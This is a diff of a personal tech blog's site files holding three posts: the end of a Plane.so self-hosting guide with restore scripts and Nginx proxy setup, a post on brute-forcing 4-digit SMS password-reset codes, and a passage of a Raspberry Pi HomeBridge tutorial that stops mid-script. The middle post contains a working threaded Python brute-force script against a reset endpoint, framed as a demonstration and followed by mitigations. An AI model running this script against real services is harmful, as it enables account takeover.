+if [[ -z $backup_dir ]]; then
+    echo "Please provide the backup folder (e.g. sh /backup/docker/plane/2024_04_09_17_46_39)"
+    exit;
+fi
+
+inputDockerProjectName() {
+    read -p "Plane Docker project name (leave blank to use default plane-app): " input_docker_project_name
+}
+inputDockerProjectName
+ 
+docker_project_name=${input_docker_project_name:-"plane-app"}
+
+confirm() {
+    read -p "Are you sure you want to restore Plane.so data? [y/N] " response
+    
+    # Check the response
+    case "$response" in
+        [yY][eE][sS]|[yY]) 
+            true
+            ;;
+        *)
+            false
+            ;;
+    esac
+}
+
+if ! confirm; then
+    echo "Action cancelled."
+    exit
+fi
+
+# Restore
+
+echo "Restoring..."
+
+docker cp $backup_dir/dump.sql $docker_project_name-plane-db-1:/dump.sql && docker exec -i $docker_project_name-plane-db-1 psql postgresql://plane:plane@plane-db/plane -f /dump.sql
+
+# Restore Redis
+docker run --rm -v ${docker_project_name}-redis-1:/volume -v $backup_dir:/backup alpine tar xf /backup/plane-app_redis.tar --strip-component=1 -C /volume
+
+# Restore uploaded files
+docker run --rm -v ${docker_project_name}_uploads:/volume -v $backup_dir:/backup alpine tar xf /backup/plane-app_uploads.tar --strip-component=1 -C /volume
+
+echo "Restore Success!"
+

The first time you create a Script file, remember to: chmod +x ./plane-restore.sh

Execution method:

1
+2
+3
+4
+
 ./plane-restore.sh
+Input: The folder of the Plane backup file to be restored (e.g. /backup/plane/2024_05_25_19_14_12)
+Input: The Docker project name of Plane (leave blank to use the default plane-app)
+Input: Are you sure you want to execute Restore Plane.so data? [y/N] y
+

After seeing Restore Success!, you need to restart Plane for it to take effect.

Use Plane ./setup.sh and input 4 Restart:

Go back to the website, refresh, and log in to the Workspace to check if the restoration was successful:

Done!

⚠️ It is recommended to regularly test the backup and restore process to ensure that the backup can be used in case of an emergency.

Plane @ Docker Upgrade

As mentioned earlier, Plane is still in the development stage, and a new version is released approximately every two to three weeks, with potentially significant changes. It is recommended to read the Release Note carefully for changes and necessary adjustments before upgrading.

⚠️ Be sure to back up before upgrading! ⚠️ After upgrading, be sure to check if the scheduled backup script is still functioning properly.

⚠️ Be sure to back up before upgrading! ⚠️ After upgrading, be sure to check if the scheduled backup script is still functioning properly.

⚠️ Be sure to back up before upgrading! ⚠️ After upgrading, be sure to check if the scheduled backup script is still functioning properly.

Since Plane is in the development stage and unstable, it cannot be guaranteed that upgrading will not cause data loss. Therefore, it is recommended to back up before operating.

Upgrade method:

  • Enter ./setup.sh again

  • Input 5 to upgrade Plane (this essentially just pulls the new Images & restarts)
  • After the Images are pulled, you can restart the service
  • The .env file may change after the upgrade, please refer to the Release Note for adjustments
  • After upgrading, be sure to check if the scheduled backup script is still functioning properly
  • If the Container Name changes, you need to modify the backup, restore, and the Nginx reverse proxy script introduced below

Using Nginx + Plane for Reverse Proxy

Because we may have multiple web services to provide at the same time, such as: Self-Hosted LibreChat (ChatGPT), Self-Hosted Wiki.js, Self-Hosted Bitwarden, etc., each service requires port 80 by default. If we do not want to specify the port in the URL when using it, we need to start a Docker Nginx as a reverse proxy for web services.

The effect is as follows:

1
+2
+3
+4
+5
+
chat.zhgchg.li -> LibreChat :8082
+wiki.zhgchg.li -> Wiki.js :8083
+pwd.zhgchg.li -> Bitwarden :8084
+
+plane.zhgchg.li -> Plane.so :8081
+

To achieve the above effect, you need to move the ./plane-selfhost directory to a unified directory, named webServices here.

Final directory structure preview:

Adjust the webServices/plane-selfhost/plane-app/.env environment configuration file:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+
APP_RELEASE=stable
+
+WEB_REPLICAS=1
+SPACE_REPLICAS=1
+ADMIN_REPLICAS=1
+API_REPLICAS=1
+
+NGINX_PORT=8081
+WEB_URL=http://plane.zhgchg.li
+DEBUG=0
+SENTRY_DSN=
+SENTRY_ENVIRONMENT=production
+CORS_ALLOWED_ORIGINS=http://plane.zhgchg.li
+
+#DB SETTINGS
+PGHOST=plane-db
+PGDATABASE=plane
+POSTGRES_USER=plane
+POSTGRES_PASSWORD=plane
+POSTGRES_DB=plane
+POSTGRES_PORT=5432
+PGDATA=/var/lib/postgresql/data
+DATABASE_URL=
+
+# REDIS SETTINGS
+REDIS_HOST=plane-redis
+REDIS_PORT=6379
+REDIS_URL=
+
+# Secret Key
+SECRET_KEY=60gp0byfz2dvffa45cxl20p1scy9xbpf6d8c5y0geejgkyp1b5
+
+# DATA STORE SETTINGS
+USE_MINIO=1
+AWS_REGION=
+AWS_ACCESS_KEY_ID=access-key
+AWS_SECRET_ACCESS_KEY=secret-key
+AWS_S3_ENDPOINT_URL=http://plane-minio:9000
+AWS_S3_BUCKET_NAME=uploads
+MINIO_ROOT_USER=access-key
+MINIO_ROOT_PASSWORD=secret-key
+BUCKET_NAME=uploads
+FILE_SIZE_LIMIT=5242880
+
+# Gunicorn Workers
+GUNICORN_WORKERS=1
+
+# UNCOMMENT `DOCKER_PLATFORM` IF YOU ARE ON `ARM64` AND DOCKER IMAGE IS NOT AVAILABLE FOR RESPECTIVE `APP_RELEASE`
+# DOCKER_PLATFORM=linux/amd64
+
  • Replace the URL with the one we want, using plane.zhgchg.li as an example
  • Change NGINX_PORT to 8081 to free up the original 80 for the reverse proxy Nginx

webServices/ Create a docker-compose.yml file to place Nginx:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+
version: '3.8'
+
+services:
+  webServices-nginx:
+    image: nginx
+    restart: unless-stopped
+    volumes:
+      - ./nginx/conf.d/plane.zhgchg.li.conf:/etc/nginx/conf.d/plane.zhgchg.li.conf
+
+    ports:
+      - 80:80
+      - 443:443
+
+    networks:
+      - plane-app_default # Network used by plane
+networks:
+  plane-app_default:
+    external: true
+
  • We need to add the Plane app network to Nginx

webServices/ Create a /conf.d directory & plane.zhgchg.li.conf file:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+
# For plane.zhgchg.li
+
+# http example:
+server {
+    listen 80;
+    server_name plane.zhgchg.li;
+
+    client_max_body_size 0;
+
+    location / {
+ proxy_pass http://plane-app-proxy-1; # plane proxy-1 service name
+        proxy_set_header Host $host;
+        proxy_set_header X-Real-IP $remote_addr;
+        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
+        proxy_set_header X-Forwarded-Proto $scheme;
+    }
+}
+
+
+# https & http example:
+# server {
+#     listen 443 ssl;
+#     server_name plane.zhgchg.li;
+
+#     #ssl
+#     ssl_certificate             /etc/nginx/conf/ssl/zhgchgli.crt; # Replace with your domain's crt & remember to add the key to docker-compose.yml volumes and mount into Docker
+#     ssl_certificate_key         /etc/nginx/conf/ssl/zhgchgli.key; # Replace with your domain's key & remember to add the key to docker-compose.yml volumes and mount into Docker
+#     ssl_prefer_server_ciphers   on;
+#     ssl_protocols               TLSv1.1 TLSv1.2;
+#     ssl_ciphers                 "EECDH+ECDSA+AESGCM EECDH+aRSA+AESGCM EECDH+ECDSA+SHA384 EECDH+ECDSA+SHA256 EECDH+aRSA+SHA384 EECDH+aRSA+SHA256 EECDH+aRSA+RC4 EECDH EDH+aRSA RC4 !aNULL !eNULL !LOW !3DES !MD5 !EXP !PSK !SRP !DSS !RC4";
+#     ssl_ecdh_curve              secp384r1; # Requires nginx >= 1.1.0
+#     ssl_session_timeout         10m;
+#     ssl_session_cache           shared:SSL:10m;
+#     add_header                  Strict-Transport-Security "max-age=63072000; includeSubDomains; preload";
+
+#     client_max_body_size 0;
+
+#     location / {
+#  proxy_pass http://plane-app-proxy-1; # plane proxy-1 service name
+#         proxy_set_header Host $host;
+#         proxy_set_header X-Real-IP $remote_addr;
+#         proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
+#         proxy_set_header X-Forwarded-Proto $scheme;
+#     }
+# }
+
+# server {
+#     listen 80;
+#     server_name plane.zhgchg.li;
+#     return 301 https://plane.zhgchg.li$request_uri;
+# }
+

Because there are multiple docker-compose.yml files that need to be started individually, followed by starting the Nginx reverse proxy, we can put all the startup scripts into a single Shell Script.

Create the /start.sh file under webServices/:

1
+2
+3
+4
+5
+6
+7
+8
+9
+
#!/bin/sh
+
+# Encapsulate the startup Script
+
+# Start Plane and other services first
+docker compose -f ./plane-selfhost/plane-app/docker-compose.yaml --env-file ./plane-selfhost/plane-app/.env up -d
+
+# Start Nginx last
+docker compose -f ./docker-compose.yml --env-file ./.env up -d
+

When creating the Script file for the first time, remember to: chmod +x ./start.sh

You can also create one to stop the services, create the /stop.sh file under webServices/:

1
+2
+3
+4
+5
+6
+7
+
#!/bin/sh
+
+# Encapsulate the stop Script
+
+docker compose -f ./plane-selfhost/plane-app/docker-compose.yaml --env-file ./plane-selfhost/plane-app/.env down
+
+docker compose -f ./docker-compose.yml --env-file ./.env down
+

When creating the Script file for the first time, remember to: chmod +x ./stop.sh

Start

  • After encapsulating the Nginx reverse proxy, Plane service, and others, you can directly run ./start.sh to start all services
1
+
./start.sh
+

DNS Settings

If hosted on an internal network, you need to ask the IT department to add a DNS record for plane.zhgchg.li -> server IP address in the internal DNS.

1
+
plane.zhgchg.li server IP address
+

If you are testing on your local computer, you can add the following to the /private/etc/hosts file:

1
+
127.0.0.1 plane.zhgchg.li
+

After completing the DNS settings, you can open Plane by visiting plane.zhgchg.li!

Common Issues

  1. Nginx fails to start and keeps Restarting, check the Log showing nginx: [emerg] host not found in upstream This means the Nginx reverse proxy service cannot find the Plane service. Check if the name http://plane-app-proxy-1 is correct and if the Nginx docker-compose.yml network settings are correct.
  2. 502 Bad Gateway appears The startup order is incorrect (ensure the Nginx reverse proxy is started last) or the Plane process has restarted. Try restarting it again.
  3. Nginx default homepage welcome to nginx! appears, using the reverse proxy you will no longer be able to access Plane using the original IP:80 method, you need to use the URL.
  4. The URL cannot be resolved or the host cannot be found, please check if the DNS network settings are normal.

⚠️⚠️Security Issues⚠️⚠️

Since the Plane project is under development and is an open-source project, it is uncertain whether there are any serious system vulnerabilities, which could potentially become an entry point for intrusion. Therefore, it is not recommended to set up Plane.so Self-Hosted on a public network. It is better to add an extra layer of security verification (Tunnel or certificate or VPN) to access it; even if it is set up on an internal network, it is best to isolate it.

As a project under development, there are inevitably bugs, experience, and security issues. Please be patient with the Plane.so team. If you have any issues, feel free to report them below:

Complete Self-Hosted Repo Example Download

Plane.so Usage and Integration with Scrum Process

If you have any questions or feedback, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

Plane.so Free Open Source and Self-Hosted Support Project Management Tool Similar to Asana/Jira

Exploring the Use of NSTextList or NSTextTab for List Indentation with NSAttributedString in iOS

diff --git a/posts/99a6cef90190/index.html b/posts/99a6cef90190/index.html new file mode 100644 index 0000000000..88001bf9cf --- /dev/null +++ b/posts/99a6cef90190/index.html @@ -0,0 +1,99 @@ + Password Recovery SMS Verification Code Security Issue | ZhgChgLi
Home Password Recovery SMS Verification Code Security Issue
Post
Cancel

Password Recovery SMS Verification Code Security Issue

Password Recovery SMS Verification Code Security Issue

Demonstrating the severity of brute force attacks using Python

Photo by [Matt Artz](https://unsplash.com/@mattartz?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"}

Photo by Matt Artz

Introduction

This article doesn’t contain much technical content in terms of information security. It was simply a sudden idea I had while using a certain platform’s website; I decided to test its security and discovered some issues.

When using the password recovery feature on websites or apps, there are generally two options. One is to enter your account or email, and then a link to a password reset page containing a token will be sent to your email. Clicking the link will open the page where you can reset your password. This part is generally secure unless, as mentioned in this previous article, there are design flaws.

The other method for password recovery is to enter the bound phone number (mostly used in app services), and then an SMS verification code will be sent to your phone. After entering the verification code, you can reset your password. For convenience, most services use purely numeric codes. Additionally, since iOS ≥ 11 introduced the Password AutoFill feature, the keyboard will automatically recognize and prompt the verification code when the phone receives it.

According to the official documentation, Apple has not provided specific rules for the format of automatically filled verification codes. However, I noticed that almost all services supporting auto-fill use purely numeric codes, suggesting that only numbers can be used, not a complex combination of numbers and letters.

Issue

Numeric passwords are susceptible to brute force attacks, especially 4-digit passwords. There are only 10,000 combinations from 0000 to 9999. Using multiple threads and machines, brute force attacks can be divided and executed.

Assuming a verification request takes 0.1 seconds to respond, 10,000 combinations = 10,000 requests

1
+
Time required to crack: ((10,000 * 0.1) / number of threads) seconds
+

Even without using threads, it would take just over 16 minutes to find the correct SMS verification code.

In addition to insufficient password length and complexity, other issues include the lack of a limit on verification attempts and excessively long validity periods.

Combination

Combining the above points, this security issue is common in app environments. Web services often add CAPTCHA verification after multiple failed attempts or require additional security questions when requesting a password reset, increasing the difficulty of sending verification requests. Additionally, if web service verification is not separated between the front and back ends, each verification request would require loading the entire webpage, extending the response time.

In app environments, the password reset process is often simplified for user convenience. Some apps even allow login through phone number verification alone. If the API lacks protection, it can lead to security vulnerabilities.

Implementation

⚠️Warning⚠️ This article is only intended to demonstrate the severity of this security issue. Do not use this information for malicious purposes.

Sniffing Verification Request API

Everything starts with sniffing. For this part, you can refer to previous articles “ The app uses HTTPS, but data is still stolen. “ and “ Using Python+Google Cloud Platform+Line Bot to automate routine tasks “. For the principles, refer to the first article, and for practical implementation, it is recommended to use Proxyman as mentioned in the second article.

If it is a front-end and back-end separated website service, you can use Chrome -> Inspect -> Network -> See what request was sent after submitting the verification code.

Assuming the verification code request obtained is:

1
+
POST https://zhgchg.li/findPWD
+

Response:

1
+2
+3
+4
+
{
+   "status": false,
+   "msg": "Verification error"
+}
+

Writing a brute force Python script

crack.py:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+
import random
+import requests
+import json
+import threading
+
+phone = "0911111111"
+found = False
+def crack(start, end):
+    global found
+    for code in range(start, end):
+        if found:
+            break
+        
+        stringCode = str(code).zfill(4)
+        data = {
+            "phone" : phone,
+            "code": stringCode
+        }
+
+        headers = {}
+        try:
+            request = requests.post('https://zhgchg.li/findPWD', data = data, headers = headers)
+            result = json.loads(request.content)
+            if result["status"] == True:
+                print("Code is:" + stringCode)
+                found = True
+                break
+            else:
+                print("Code " + stringCode + " is wrong.")
+        except Exception as e:
+            print("Code "+ stringCode +" exception error (" + str(e) + ")")
+
+def main():
+    codeGroups = [
+        [0,1000],[1000,2000],[2000,3000],[3000,4000],[4000,5000],
+        [5000,6000],[6000,7000],[7000,8000],[8000,9000],[9000,10000]
+    ]
+    for codeGroup in codeGroups:
+        t = threading.Thread(target = crack, args = (codeGroup[0],codeGroup[1],))
+        t.start()
+
+main()
+

After running the script, we get:

1
+
Verification code is: 1743
+

Enter 1743 to reset the password or directly log in to the account.

Bigo!

Solutions

  • Add more information verification for password reset (e.g., birthday, security questions)
  • Increase the length of the verification code (e.g., Apple 6-digit code), increase the complexity of the verification code (if it does not affect AutoFill functionality)
  • Invalidate the verification code after more than 3 incorrect attempts, requiring the user to resend the verification code
  • Shorten the validity period of the verification code
  • Lock the device after too many incorrect attempts, add graphical verification codes
  • Implement SSL Pinning in the APP, encrypt and decrypt transmissions (to prevent sniffing)

Further Reading

If you have any questions or suggestions, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

Bye Bye 2020: A Review of the Second Year on Medium

Quickly Build a Testable API Service Using Firebase Firestore + Functions

diff --git a/posts/99db2a1fbfe5/index.html b/posts/99db2a1fbfe5/index.html new file mode 100644 index 0000000000..a294de075d --- /dev/null +++ b/posts/99db2a1fbfe5/index.html @@ -0,0 +1,619 @@ + Creating a Comfortable WFH Smart Home Environment, Control Appliances at Your Fingertips | ZhgChgLi
Home Creating a Comfortable WFH Smart Home Environment, Control Appliances at Your Fingertips
Post
Cancel

Creating a Comfortable WFH Smart Home Environment, Control Appliances at Your Fingertips

Creating a Comfortable WFH Smart Home Environment, Control Appliances at Your Fingertips

Demonstrating the use of Raspberry Pi as a HomeBridge host to connect all Mi Home appliances to HomeKit

photo by [picjumbo.com](https://www.pexels.com/zh-tw/@picjumbo-com-55570?utm_content=attributionCopyText&utm_medium=referral&utm_source=pexels){:target="_blank"}

photo by picjumbo.com

About

Due to the pandemic, the time spent at home has increased; especially when working from home, it’s best if all home appliances can be smartly controlled via an app. This way, you don’t have to keep getting up to turn on the lights or the rice cooker, which wastes a lot of time.

Previously, I wrote an article titled “First Experience with Smart Home — Apple HomeKit & Xiaomi Mi Home”, where I initially tried using HomeBridge to connect Xiaomi appliances to HomeKit. Theoretically, it was feasible, but there wasn’t much practical application mentioned. Today’s article is a comprehensive advanced version of the previous one, including how to set up a Raspberry Pi as the host, with a step-by-step tutorial.

The motivation came from recently switching to an iPhone 11 Pro, which supports iOS ≥ 13 shortcuts with NFC automation. This means the phone can execute corresponding shortcuts when it detects an NFC tag. Although you can directly use an old EasyCard as an NFC tag, it takes up too much space and there aren’t that many cards. I asked around Guanghua Digital Plaza but couldn’t find any NFC tag stickers, so I finally found them on Shopee for $50 each and bought 5 to play with. The seller was kind enough to help me differentiate them by color.

*NFC automation is model-specific, only iPhone XS/XS max/XR/11/11pro/11pro max support this feature. Previously, with an iPhone 8, there was no NFC option.

After playing around a bit, I found a problem: when executing shortcuts for the Mi Home app, you must enable the “Show When Run” option (otherwise it won’t actually execute). When detecting the tag, you need to unlock the iPhone and the shortcut will open, making it impossible to execute directly in the background. Additionally, if the shortcut is for native Apple services (e.g., HomeKit appliances), it can execute directly in the background without unlocking. Moreover, HomeKit’s response speed and stability are much better than Mi Home’s.

This makes a big difference in user experience, so I delved deeper into connecting all Mi Home smart home products to HomeKit. For those that support HomeKit, just bind them directly; for those that don’t, follow this tutorial to bind them as well!

My Mi Home Smart Home Items

  1. Mi Home Smart Camera Pan-Tilt Version 1080P
  2. Mi Home DC Inverter Fan
  3. Mi Home LED Smart Desk Lamp
  4. Xiaomi Air Purifier 3
  5. Mi Home Desk Lamp Pro (supports HomeKit natively)
  6. Mi Home LED Smart Bulb Color Version * 2 (supports HomeKit natively)

Operating Principle

I made a simple reference diagram. If the smart appliance supports HomeKit, connect it directly. For those that don’t support HomeKit, set up a “HomeBridge” service host (which needs to be always on) to bridge and connect them. In the same network environment (e.g., the same WiFi), the iPhone can freely control all HomeKit appliances. However, if you’re on an external network, such as 4G mobile network, you need an Apple TV/HomePod or iPad as the home hub, always on standby at home to control HomeKit from outside. Without a home hub, the Home app will show “ No Response “ when opened from outside.

*If it’s a Xiaomi device, it will be controlled via the Xiaomi server, which means there could be security issues as the data has to go through mainland China.

Requirements

So, there are two devices that need to be on standby all the time: one is an Apple TV/HomePod or iPad as the home hub; this part currently has no workaround, you have to obtain these devices somehow, if not, you can only use HomeKit at home .

The other device can be any computer that can be on standby 24 hours (like your iMac/MacBook), an idle host (old iMac, Mac Mini), or a Raspberry Pi.

*Windows series has not been tried, but it should work too!

Alternatively, if you just want to play around, you can use your current computer (can be used together with the previous article).

This article will demonstrate using a Raspberry Pi (Raspberry Pi 3B) and a MacBook Pro (MacOS 10.15.4), starting from setting up the Raspberry Pi environment from scratch; if you are not using a Raspberry Pi, you can skip directly to the HomeBridge integration with HomeKit part (this part is the same).

Raspberry Pi 3B (special thanks to [Lu Xun Huang](https://medium.com/u/b32ce1b681f8){:target="_blank"} )

Raspberry Pi 3B (special thanks to Lu Xun Huang )

If you are using a Raspberry Pi, you will also need a micro SD card (not too big, I use 8G), a card reader, a network cable (for setup, can connect to WiFi later); and the software needed for the Raspberry Pi:

  1. Raspberry Pi Desktop OS (for beginners, using the GUI version)
  2. Etcher burning software

Raspberry Pi Environment Setup

Burning the Operating System

After downloading the two required software, first insert the memory card into the card reader and plug it into the computer; open the Etcher program (balenaEtcher).

First, select the Raspberry Pi OS you just downloaded "xxxx.img", second, select your memory card device, then click "Flash!" to start burning!

First, select the Raspberry Pi OS you just downloaded “xxxx.img”, second, select your memory card device, then click “Flash!” to start burning!

At this point, it will prompt you to enter the **MacOS password**, enter it and click "Ok" to continue.

At this point, it will prompt you to enter the MacOS password, enter it and click “Ok” to continue.

Burning... please wait...

Burning… please wait…

Verifying... please wait...

Verifying… please wait…

Burn successful!

Burn successful!

*If a red Error appears, try formatting the memory card and burning it again.

Reconnect the card reader to the computer, and create an empty “ssh” file in the memory card directory ( or click here to download ) with no content and no extension, just a “ssh” file; this allows us to connect to the Raspberry Pi using Terminal.

ssh

ssh

Setting up the Raspberry Pi

Eject the memory card, insert it into the Raspberry Pi, connect the network cable, and power it on; make sure the MacBook and Raspberry Pi are on the same network.

Check the IP address assigned to the Raspberry Pi

The IP address assigned to the Raspberry Pi is: 192.168.0.110 (Please replace all IP addresses in this document with the one you found)

It is recommended to set the Raspberry Pi to a static/reserved IP, otherwise the IP address may change after rebooting and reconnecting, requiring you to check it again.

Use SSH to connect to the Raspberry Pi for operations

Open Terminal and enter:

1
+
ssh pi@your_raspberry_pi_IP_address
+

When prompted, enter yes, and for the password, enter the default password: raspberry

**Connection successful!**

Connection successful!

*If you encounter an error message like WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED, open /Users/xxxx/.ssh/known_hosts with a text editor and clear its contents.

Basic tools installation and setup on Raspberry Pi

  1. Enter the following command to install the Vim editor:
1
+
sudo apt-get install vim
+

2. Resolve the following locale warnings:

1
+2
+3
+4
+5
+6
+7
+8
+
perl: warning: Setting locale failed.
+perl: warning: Please check that your locale settings:
+    LANGUAGE = (unset),
+    LC_ALL = (unset),
+    LC_LANG = "zh_TW.UTF-8",
+    LANG = "zh_TW.UTF-8"
+    are supported and installed on your system.
+perl: warning: Falling back to the standard locale ("C").
+

Enter

1
+
vi .bashrc
+

Press “Enter” to proceed

Press “i” to enter edit mode

Move to the bottom of the document and add a line “export LC_ALL=C

Press “Esc” and enter “:wq!” to save and exit.

Then enter “source .bashrc” to update.

3. Install nvm to manage nodejs/npm:

1
+
curl -o- https://raw.githubusercontent.com/creationix/nvm/v0.33.11/install.sh | bash
+

4. Use nvm to install the latest version of nodejs:

nvm install 12.16.2

*Here, we choose to install version “12.16.2”

5. Confirm the environment installation is complete:

Enter the following commands

npm -v

and

node -v

to confirm

No error messages!

No error messages!

6. Create a nodejs link

Enter the following command

1
+
which node
+

Get the path information where nodejs is located

Then enter

1
+
sudo ln -fs paste_the_path_you_found_with_which_node_here /usr/local/bin/node
+

Create the link

Setup complete!

Enable Raspberry Pi VNC remote desktop feature

Although we have installed the GUI version, you can directly connect the Raspberry Pi to a keyboard and HDMI to use it as a regular computer. However, for convenience, we will use the remote desktop method to control the Raspberry Pi.

Enter:

1
+
sudo raspi-config
+

Enter the settings:

Select the fifth option " **Interfacing Options** "

Select the fifth option “ Interfacing Options

Select the third option " **P3 VNC** "

Select the third option “ P3 VNC

Use " **←** " to select " **Yes** " to enable

Use “ “ to select “ Yes “ to enable

**VNC remote desktop feature enabled successfully!**

VNC remote desktop feature enabled successfully!

Use " **→** " to directly switch to " **Finish** " to exit the setup interface.

Use “ “ to directly switch to “ Finish “ to exit the setup interface.

Add VNC remote desktop service to startup

We want the VNC remote desktop service to be automatically enabled when the Raspberry Pi boots up.

Enter

1
+
sudo vim /etc/init.d/vncserver
+

Press “Enter” to proceed

Press “ i “ to enter edit mode

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+
#!/bin/sh
+### BEGIN INIT INFO
+# Provides:          vncserver
+# Required-Start:    $local_fs
+# Required-Stop:     $local_fs
+# Default-Start:     2 3 4 5
+# Default-Stop:      0 1 6
+# Short-Description: Start/stop vncserver
+### END INIT INFO
+
+# More details see:
+# http://www.penguintutor.com/linux/vnc
+
+### Customize this entry
+# Set the USER variable to the name of the user to start vncserver under
+export USER='pi'
+### End customization required
+
+eval cd ~$USER
+
+case "$1" in
+  start)
+    su $USER -c '/usr/bin/vncserver -depth 16 -geometry 1024x768 :1'
+    echo "Starting VNC server for $USER "
+    ;;
+  stop)
+    su $USER -c '/usr/bin/vncserver -kill :1'
+    echo "vncserver stopped"
+    ;;
+  *)
+    echo "Usage: /etc/init.d/vncserver {start|stop}"
+    exit 1
+    ;;
+esac
+exit 0
+

“Command” + “C”, “Command” + “V” to copy and paste the above content, press “Esc” and enter “:wq!” to save and exit.

Then enter:

1
+
sudo chmod 755 /etc/init.d/vncserver
+

Change the file permissions.

Then enter:

1
+
sudo update-rc.d vncserver defaults
+

Add to startup items.

Finally enter:

1
+
sudo reboot
+

Restart the Raspberry Pi.

*After the restart is complete, reconnect using ssh as before.

Connect using VNC Client:

Here we use the Chrome app “ VNC® Viewer for Google Chrome™ “. After installation and launch, enter Raspberry Pi IP address:1. Please note to add Port:1 at the end!

*I was unable to connect using Mac’s built-in VNC://, the reason is unknown.

Click " **Connect** ".

Click “ Connect “.

Click " **OK** ".

Click “ OK “.

**Enter login username and password** , same as SSH connection, username `pi` default password `raspberry`.

Enter login username and password , same as SSH connection, username pi default password raspberry.

**Successfully connected!**

Successfully connected!

Complete Raspberry Pi initialization settings:

The rest is graphical interface! Very easy!

Set language, region, time zone.

Set language, region, time zone.

Change the default Raspberry Pi password, enter the password you want to set.

Change the default Raspberry Pi password, enter the password you want to set.

Directly click " **Next** ".

Directly click “ Next “.

Set up WiFi connection, so you don't need to plug in the cable anymore.

Set up WiFi connection, so you don’t need to plug in the cable anymore.

*But please note that the Raspberry Pi IP address may change, you need to check it again in the router

Whether to update the current operating system, if not in a hurry, select " **Next** " to update!

Whether to update the current operating system, if not in a hurry, select “ Next “ to update!

*The update takes about 20~30 minutes (depending on your internet speed)

After the update is complete, click " **Restart** " to restart.

After the update is complete, click “ Restart “ to restart.

Raspberry Pi environment setup complete!

HomeBridge Installation

Now for the main event, installing and using HomeBridge.

Use Terminal to ssh into the Raspberry Pi or directly use the Terminal in the VNC remote desktop.

Enter:

1
+
npm -g install homebridge --unsafe-perm
+

^( Do not add sudo )

Install HomeBridge

Installation complete!

Create/Modify configuration file (config.json):

For easier editing, use VNC remote desktop to connect to the Raspberry Pi (you can also use commands directly) :

Click the top left to open “ File Manager “ -> go to “ /home/pi/.homebridge

If you don’t see the “config.json” file, right-click on the blank area “ New File “ -> enter the file name “ config.json

Right-click on “ config.json “ and open with “ Text Editor

Paste the following basic configuration content:

1
+2
+3
+4
+5
+6
+7
+
{
+   "bridge": {
+  "name": "Homebridge",
+  "username": "CC:22:3D:E3:CE:30",
+  "port": 51826,
+  "pin": "123-45-568"
+}
+

No need to make special changes to the content, just copy it directly!

Remember to save!

Done!

Bind HomeBridge to Homekit

Enter:

1
+
homebridge start
+

^( Do not add sudo )

Enable

If you encounter an Error: Service name is already in use on the network / port is occupied error, try deleting the service, using homebridge restart to restart, or rebooting.

If you encounter an error like was not registered by any plugin, it means you haven’t installed the corresponding homebridge plugin.

If you change the configuration file (config.json) while starting, you need to modify it:

sudo homebridge restart

Restart HomeBridge

Press “Control” + “C” to close and exit the HomeBridge service in Terminal.

Take out your iPhone and open the “Home” app. In the upper right corner of “Home,” click “+”, select “Add Accessory,” and scan the QRCode that appears.

At this point, you should see “ Accessory Not Found “. Don’t worry! Because we haven’t added any accessories to the HomeBridge bridge yet, it’s okay, let’s continue.

You must have at least one accessory to scan and add!!! (Here, we use a camera as an example) : You must have at least one accessory to scan and add!!! (Here, we use a camera as an example) : You must have at least one accessory to scan and add!!! (Here, we use a camera as an example) :

The first time you scan and add, a warning window will appear. Just click “Force Add”!

After adding once, you don’t need to scan again for any new accessories; they will update automatically!

Add HomeBridge service to Raspberry Pi startup items

Like the VNC remote desktop service, we also want the HomeBridge service to be automatically enabled when the Raspberry Pi starts, otherwise, we have to manually log in and enable it every time it reboots.

Enter:

1
+
which homebridge
+

Get homebridge path information

Note down this path.

Then enter:

1
+
sudo vim /etc/init.d/homebridge
+

Press “Enter” to enter

Press “i” to enter edit mode

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+82
+83
+84
+85
+86
+87
+88
+89
+90
+91
+92
+93
+94
+95
+96
+97
+98
+
#!/bin/sh
+### BEGIN INIT INFO
+# Provides:
+# Required-Start:    $remote_fs $syslog
+# Required-Stop:     $remote_fs $syslog
+# Default-Start:     2 3 4 5
+# Default-Stop:      0 1 6
+# Short-Description: Start daemon at boot time
+# Description:       Enable service provided by daemon.
+### END INIT INFO
+
+dir="/home/pi"
+cmd="DEBUG=* paste the path you got from which homebridge here"
+user="pi"
+
+name=`basename $0`
+pid_file="/var/run/$name.pid"
+stdout_log="/var/log/$name.log"
+stderr_log="/var/log/$name.err"
+
+get_pid() {
+cat "$pid_file"
+}
+
+is_running() {
+[ -f "$pid_file" ] && ps -p `get_pid` > /dev/null 2>&1
+}
+
+case "$1" in
+start)
+if is_running; then
+echo "Already started"
+else
